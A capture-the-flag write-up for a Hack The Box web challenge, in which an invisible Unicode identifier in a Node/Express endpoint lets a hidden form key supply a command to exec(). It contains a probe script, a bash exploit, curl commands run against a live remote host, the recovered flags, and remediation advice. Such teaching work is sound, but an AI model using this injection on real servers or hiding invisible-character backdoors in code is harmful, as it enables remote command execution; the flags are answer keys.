//Hidden Path
Challenge: Hidden Path
Remote: 83.136.250.244:53705
Flag format: HTB{...}
>TL;DR
I analyzed the provided web service code and found an invisible Unicode character (U+3164, Hangul Filler) used as a second property name in a destructuring assignment and as a trailing entry in a commands array. By sending a POST with a percent-encoded field name %E3%85%A4 (UTF-8 of U+3164) and choice=6, it is possible to provide an arbitrary shell command which the server executes. Using this, I retrieved the remote flag:
HTB{1nvi5IBl3_cH4r4cT3rS_n0t_sO_v1SIbL3_97c82b6c1f7e5dda8efd039c836b158f}
Local fake/test flag in the archive:
HTB{f4k3_fL4g_f0R_t3sTiNg}
>Files of interest
-
app.js— Node/Express server implementing/server_statusendpoint. -
public/html/index.htmlandpublic/js/index.js— client frontend. -
flag.txt— local test flag.
I also created PoC files in the workspace:
-
001_exploit.js— node probe script. -
002_exploit.sh— curl-based exploit script. -
003_writeup.md— this writeup.
>Vulnerable code (important excerpts)
Here is the relevant portion of app.js (shortened for clarity):
app.post('/server_status', async (req, res) => {
const { choice,ㅤ} = req.body; // note the invisible second identifier
const integerChoice = +choice;
if (isNaN(integerChoice)) {
return res.status(400).send('Invalid choice: must be a number');
}
const commands = [
'free -m',
'uptime',
'iostat',
'mpstat',
'netstat',
'ps aux',ㅤ
];
if (integerChoice < 0 || integerChoice >= commands.length) {
return res.status(400).send('Invalid choice: out of bounds');
}
exec(commands[integerChoice], (error, stdout) => {
if (error) {
return res.status(500).send('Error executing command');
}
res.status(200).send(stdout);
});
});
Note:
-
The second identifier
ㅤis not empty — it's a single Unicode character (Hangul Filler U+3164). It's visually invisible but is a valid JS identifier. -
The same invisible token is used at the end of the
commandsarray: it becomes the trailing sixth entry incommandsi.e.commands[6]. -
The server executes
commands[integerChoice]directly withexec().
This means if we can send a POST where the body contains a key named U+3164 (the invisible char), and choice=6, then commands[6] will be the value we provided — and will be executed by exec().
>How to detect/inspect invisible characters
If code looks "weird" (like extra commas, or trailing tokens), inspect the raw bytes. On Linux use xxd or hexdump and look for non-ASCII bytes. Example snippet I used:
xxd -u -g 1 app.js | sed -n '1,120p'
# Or check for bytes E3 85 A4 specifically (UTF-8 for U+3164)
python3 - <<'PY'
s=open('app.js','rb').read()
for i in range(len(s)):
if s[i:i+3]==b'\xe3\x85\xa4':
print('found at',i)
print(s[i-10:i+10])
PY
The bytes E3 85 A4 decode to Unicode U+3164 which displays as ㅤ in some viewers but is invisible in many editors.
>Proof-of-concept (local)
I started the provided server locally (after installing express) and used an exploit script to exercise the endpoint. Example steps I ran locally:
- Start server (from challenge folder):
# in a node env with express installed
node app.js
- Basic probe script (see
001_exploit.js) — this iterates indices 0..7 and prints responses.
001_exploit.js contents:
const fetch = require('node-fetch');
async function tryIndex(i) {
const body = `choice=${encodeURIComponent(i)}`;
const res = await fetch('http://localhost:1337/server_status', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body
});
const text = await res.text();
console.log('--- Index', i, 'Status', res.status, '---');
console.log(text.slice(0, 800));
}
(async ()=>{
for (let i=0;i<8;i++){
try{ await tryIndex(i);}catch(e){console.error('err',e.message)}
}
})();
Running it shows that index 6 causes server error when commands[6] is undefined — implying a hidden slot exists.
- Test hidden field execution locally using curl (percent-encoded key):
# U+3164 percent-encoded is %E3%85%A4
curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
--data "choice=6&%E3%85%A4=echo%20hidden_test" \
http://localhost:1337/server_status
# => should return: hidden_test
- Read local flag (example):
curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
--data "choice=6&%E3%85%A4=cat%20'/path/to/flag.txt'" \
http://localhost:1337/server_status
>Proof-of-concept (remote)
Using the same technique against the remote host I first verified execution using echo:
curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
--data "choice=6&%E3%85%A4=echo%20remote_test" \
http://83.136.250.244:53705/server_status
# => remote_test
Then I enumerated directories and found the current working directory /www contains an app and flag.txt:
$ curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "choice=6&%E3%85%A4=ls%20-la%20.|head%20-n%20100" http://83.136.250.244:53705/server_status
# shows a listing like:
# -rw-r--r-- 1 root root 73 Oct 7 00:38 flag.txt
Finally, I retrieved the remote flag:
curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
--data "choice=6&%E3%85%A4=cat%20%2Fwww%2Fflag.txt" \
http://83.136.250.244:53705/server_status
# => HTB{1nvi5IBl3_cH4r4cT3rS_n0t_sO_v1SIbL3_97c82b6c1f7e5dda8efd039c836b158f}
(You can replace /www/flag.txt with any path discovered via ls output above.)
>Full exploit script (bash)
002_exploit.sh - the script I created to send an encoded hidden key and command:
#!/usr/bin/env bash
# 002_exploit.sh - send POST with hidden Unicode key U+3164 to trigger hidden command execution
HOST=${1:-localhost}
PORT=${2:-1337}
URL="http://$HOST:$PORT/server_status"
HIDDEN_KEY_PCT="%E3%85%A4" # UTF-8 percent-encoding of U+3164 (Hangul Filler)
COMMAND="cat flag.txt"
CHOICE=6
BODY="choice=$CHOICE&${HIDDEN_KEY_PCT}=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$COMMAND'''))")"
curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "$BODY" "$URL"
Usage:
# Local
./002_exploit.sh localhost 1337
# Remote (example)
./002_exploit.sh 83.136.250.244 53705
>Root cause & fix
Root cause summary:
-
Invisible Unicode used in source as a valid identifier and included in
commandsarray. This allowed a user-supplied field with that name to end up as a command string incommands[6]and be executed viachild_process.exec(). -
The server executes content from an array indexed directly from user input (choice), and the array contains a user-controlled/invisible entry.
Immediate fixes:
-
Remove the invisible identifier and the trailing array slot. Replace with an explicit mapping of integer choice -> hard-coded command.
-
Avoid using
execwith any data that can be influenced by user input. If shell execution is required, use whitelists and fixed commands only. -
Add input validation and canonicalization; reject or normalize suspicious Unicode in source/config and in incoming keys.
-
Use
child_process.execFilewith explicit arguments if you must run native commands, or better yet, implement the functionality in JS without shelling out.
Safe replacement example (simple approach):
const commandMap = [
'free -m',
'uptime',
'iostat',
'mpstat',
'netstat',
'ps aux'
];
app.post('/server_status', (req, res) => {
const integerChoice = Number(req.body.choice);
if (!Number.isInteger(integerChoice) || integerChoice < 0 || integerChoice >= commandMap.length) {
return res.status(400).send('Invalid choice');
}
const childProcess = require('child_process');
childProcess.exec(commandMap[integerChoice], (err, stdout) => {
if (err) return res.status(500).send('Error');
res.send(stdout);
});
});
This ensures there is no trailing hidden slot and that only the explicit commandMap entries are usable.
>Detection notes for future audits
-
Scan source and config files for non-ASCII/zero-width/invisible Unicode. Many linters or CI checks can fail build on files containing potentially confusing Unicode.
-
Ensure exec is only used for known safe inputs; static analysis tools can catch dangerous exec usage.
>Final notes
-
I retrieved the remote flag:
HTB{1nvi5IBl3_cH4r4cT3rS_n0t_sO_v1SIbL3_97c82b6c1f7e5dda8efd039c836b158f}. -
All files I added are in the workspace:
001_exploit.js,002_exploit.sh, and003_writeup.md.